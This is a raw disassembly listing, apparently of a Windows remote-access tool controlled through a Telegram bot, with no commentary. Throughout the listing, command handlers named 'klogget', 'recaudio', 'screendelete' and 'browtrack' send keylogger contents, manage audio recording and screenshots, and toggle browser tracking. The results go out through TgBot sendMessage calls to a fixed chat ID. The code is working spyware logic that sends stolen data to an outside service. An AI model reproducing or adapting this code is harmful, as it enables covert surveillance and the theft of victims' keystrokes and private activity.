mov rcx, rax
mov rdx, rdi
call fcn.1400202c0
mov rcx, rax
lea rdx, [0x14006c760]
call fcn.14000c3c0
mov rcx, rax
mov rdx, rbx
call fcn.1400202c0
mov rcx, rax
lea rdx, str._min
call fcn.14000c3c0
mov rcx, rax
mov rdx, rsi
call fcn.1400202c0
mov rcx, rax
lea rdx, str._sec
call fcn.14000c3c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x88]
call fcn.140021380
mov dword [rbp - 8], 0x3c00
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.14001fe90
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x7c], edx
mov qword [rbp + 0x108], r13
lea rcx, [rbp + 0x108]
call fcn.14002c4b4
nop
lea rdx, [0x14006c588]
lea rcx, [rbp - 0x50]
call fcn.14000b340
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov dword [rbp - 8], 0x7c00
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1b0]
call fcn.14000b3d0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14001d4e7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d4e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec06
call fcn.14002ed30
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14001d527
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d522
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec0c
call fcn.14002ed30
lea rcx, [rbp - 0x50]
call fcn.140011cf0
nop
lea rdx, [0x14006cb28]
mov rcx, rax
call fcn.14000b340
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1b0]
call fcn.14000b3d0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14001d5b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d5aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec12
call fcn.14002ed30
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14001d5f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d5eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec18
call fcn.14002ed30
mov r8d, 0x13
lea rdx, [0x14006ce68]
lea rcx, [rbp + 0x1b0]
call fcn.14000c280
lea rsi, [0x14006ce90]
lea rbx, [0x14006cea0]
mov rdx, rbx
cmp byte [0x14007e834], 0
cmovne rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.140009450
nop
mov r8, rax
lea rdx, [0x14006ceb8]
lea rcx, [rbp - 0x50]
call fcn.14000ca30
nop
lea rdx, [0x14006c588]
mov rcx, rax
call fcn.14000b340
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1b0]
call fcn.14000b3d0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14001d6c2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d6bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec1e
call fcn.14002ed30
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14001d702
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d6fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec24
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006deb0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14001d753
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d74e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec2a
call fcn.14002ed30
mov rdx, rbx
cmp byte [0x14007e833], 0
cmovne rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.140009450
nop
mov r8, rax
lea rdx, str.Ya__
lea rcx, [rbp - 0x50]
call fcn.14000ca30
nop
lea rdx, [0x14006c588]
mov rcx, rax
call fcn.14000b340
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1b0]
call fcn.14000b3d0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14001d7fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d7f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec30
call fcn.14002ed30
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14001d83e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d839
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec36
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006deb0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14001d88f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d88a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec3c
call fcn.14002ed30
cmp byte [0x14007e835], 0
cmovne rbx, rsi
mov rdx, rbx
lea rcx, [rbp + 0x30]
call fcn.140009450
nop
mov r8, rax
lea rdx, [0x14006cef8]
lea rcx, [rbp - 0x50]
call fcn.14000ca30
nop
lea rdx, [0x14006c588]
mov rcx, rax
call fcn.14000b340
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1b0]
call fcn.14000b3d0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14001d93a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec42
call fcn.14002ed30
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14001d97a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d975
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec48
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006deb0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14001d9cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d9c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec4e
call fcn.14002ed30
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x70]
call fcn.1400062c0
nop
lea rax, [rbp - 0x28]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
movdqu xmmword [rbp - 0x28], xmm0
lea r8, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 7
cmova r8, qword [rbp + 0x1b0]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, dword [rbp + 0x1c0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
xor r8d, r8d
lea rcx, [rbp + 0x190]
call fcn.140009620
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rcx, qword [rbp + 0x190]
lea r8, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 7
cmova r8, qword [rbp + 0x1b0]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x1c0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov qword [rbp + 0x10], 0x322c0dea
mov dword [rbp + 8], edi
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0x190]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp - 0x10]
test rbx, rbx
je 0x14001db46
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001db46
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14001db46
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14001db87
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001db82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec54
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006dec0]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001dbe5
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dbdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec5a
call fcn.14002ed30
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x14001ead2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb55
jmp 0x14001e4a6
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001dc43
mov rcx, qword [rcx]
cmp rbx, 0xc
jne 0x14001e07a
mov r8, rbx
lea rdx, str.screendelete
call fcn.14005bdc0
test eax, eax
jne 0x14001e07a
lea rcx, [rbp - 0x70]
call fcn.140010100
nop
mov r8d, 0xd
lea rdx, str.gasscreen.bmp
mov rcx, rax
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.14003ddb8
test eax, eax
jne 0x14001dce3
cmp byte [0x14007e830], al
je 0x14001dd24
lea rdx, str.Successfully_deleted:
lea rcx, [0x14007cdd0]
jmp 0x14001dcfa
cmp byte [0x14007e830], 0
je 0x14001dd24
lea rdx, str.Error_deleting_file:
lea rcx, [0x14007cc30]
call fcn.140005e40
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.1400071e0
mov rcx, rax
call fcn.1400060f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14001dd60
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dd5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec60
call fcn.14002ed30
movdqa xmm6, xmmword [0x14006dec0]
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001ddad
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dda8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec66
call fcn.14002ed30
lea rcx, [rbp - 0x70]
call fcn.140010100
nop
mov r8d, 0xd
lea rdx, str.gasscreen.jpg
mov rcx, rax
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.14003ddb8
test eax, eax
jne 0x14001de2c
cmp byte [0x14007e830], al
je 0x14001de6d
lea rdx, str.Successfully_deleted:
lea rcx, [0x14007cdd0]
jmp 0x14001de43
cmp byte [0x14007e830], 0
je 0x14001de6d
lea rdx, str.Error_deleting_file:
lea rcx, [0x14007cc30]
call fcn.140005e40
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.1400071e0
mov rcx, rax
call fcn.1400060f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14001dea9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dea4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec6c
call fcn.14002ed30
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001deee
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dee9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec72
call fcn.14002ed30
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x70]
call fcn.1400062c0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8d, 5
lea rdx, str.Done_
lea rcx, [rbp - 0x50]
call fcn.1400062c0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x28], xmm0
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x50]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp - 0x10]
test rbx, rbx
je 0x14001dfe8
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001dfe8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14001dfe8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14001e02e
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e029
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec78
call fcn.14002ed30
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001ead2
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001eb5b
jmp 0x14001e4a6
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001e08e
mov rcx, qword [rdi + 0x80]
cmp rbx, 8
jne 0x14001e0d3
mov r8, rbx
lea rdx, str.recaudio
call fcn.14005bdc0
test eax, eax
jne 0x14001e0d3
cmp byte [0x14007e836], al
jne 0x14001ead2
mov dword [0x14007ad98], 0xf
mov dword [0x14007ad94], 1
mov byte [0x14007e832], 1
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001e0e3
mov rcx, qword [rcx]
cmp rbx, 0xa
jne 0x14001e129
mov r8, rbx
lea rdx, str.recaudiox4
call fcn.14005bdc0
test eax, eax
jne 0x14001e129
cmp byte [0x14007e836], al
jne 0x14001ead2
mov dword [0x14007ad98], 0x1e
mov edx, 2
mov dword [0x14007ad94], edx
mov byte [0x14007e832], 1
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001e13d
mov rcx, qword [rdi + 0x80]
cmp rbx, 0xb
jne 0x14001e182
mov r8, rbx
lea rdx, str.recaudiox10
call fcn.14005bdc0
test eax, eax
jne 0x14001e182
cmp byte [0x14007e836], al
jne 0x14001ead2
mov dword [0x14007ad98], 0x3c
mov dword [0x14007ad94], 0xa
mov byte [0x14007e832], 1
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001e192
mov rcx, qword [rcx]
cmp rbx, 7
jne 0x14001e2c6
mov r8, rbx
lea rdx, str.klogget
call fcn.14005bdc0
test eax, eax
jne 0x14001e2c6
mov r9, qword [0x14007e858]
test r9, r9
je 0x14001ead2
lea rdi, [0x14007e848]
mov r8, rdi
cmp qword [0x14007e860], rbx
cmova r8, qword [0x14007e848]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
xor r8d, r8d
lea rcx, [rbp - 0x50]
call fcn.140009620
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
mov r8, rdi
cmp qword [0x14007e860], 7
cmova r8, qword [0x14007e848]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [0x14007e858]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
lea r8, [rbp - 0x50]
mov edx, 0x322c0dea
mov rcx, qword [r12]
call fcn.140010cf0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14001e2a6
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e2a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec7e
call fcn.14002ed30
mov qword [0x14007e858], r13
cmp qword [0x14007e860], 7
cmova rdi, qword [0x14007e848]
mov word [rdi], r13w
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001e2da
mov rcx, qword [rdi + 0x80]
cmp rbx, 9
jne 0x14001e4b0
mov r8, rbx
lea rdx, str.trollsect
call fcn.14005bdc0
test eax, eax
jne 0x14001e4b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x70]
call fcn.1400062c0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8d, 0x26
lea rdx, [0x14006cf80]
lea rcx, [rbp - 0x50]
call fcn.1400062c0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 8], xmm0
mov rax, qword [r12 + 0x30]
test rax, rax
je 0x14001e364
lock inc dword [rax + 8]
mov rax, qword [r12 + 0x28]
mov qword [rbp - 8], rax
mov rax, qword [r12 + 0x30]
mov qword [rbp], rax
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x50]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp - 0x10]
test rbx, rbx
je 0x14001e415
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001e415
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14001e415
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140020ce0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14001e45b
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e456
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec84
call fcn.14002ed30
movdqa xmm0, xmmword [0x14006dec0]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001ead2
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e4a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001ec8a
call fcn.14002ed30
jmp 0x14001ead2
lea rcx, [rdi + 0x80]
cmp rsi, 0xf
jbe 0x14001e4c0
mov rcx, qword [rcx]
cmp rbx, 9
jne 0x14001e6f0
mov r8, rbx
lea rdx, str.browtrack
call fcn.14005bdc0
test eax, eax
jne 0x14001e6f0
cmp byte [0x14007e833], al
sete al
mov byte [0x14007e833], al
lea rdx, [0x14006c110]
lea rcx, [rbp - 0x50]
test al, al
je 0x14001e630
call fcn.140004960
nop
lea rdx, [0x14006cfb8]
lea rcx, [rbp - 0x70]
call fcn.140004960
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x28], xmm0
mov rax, qword [r15]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp + 0x10], rcx
mov dword [rbp + 8], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x70]
lea r8, [rbp + 8]
lea rdx, [rbp - 0x18]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp - 0x10]
test rbx, rbx
je 0x14001e5cb
mov eax, r14d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14001e5cb
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r14d
lock xadd dword [rbx + 0xc], eax
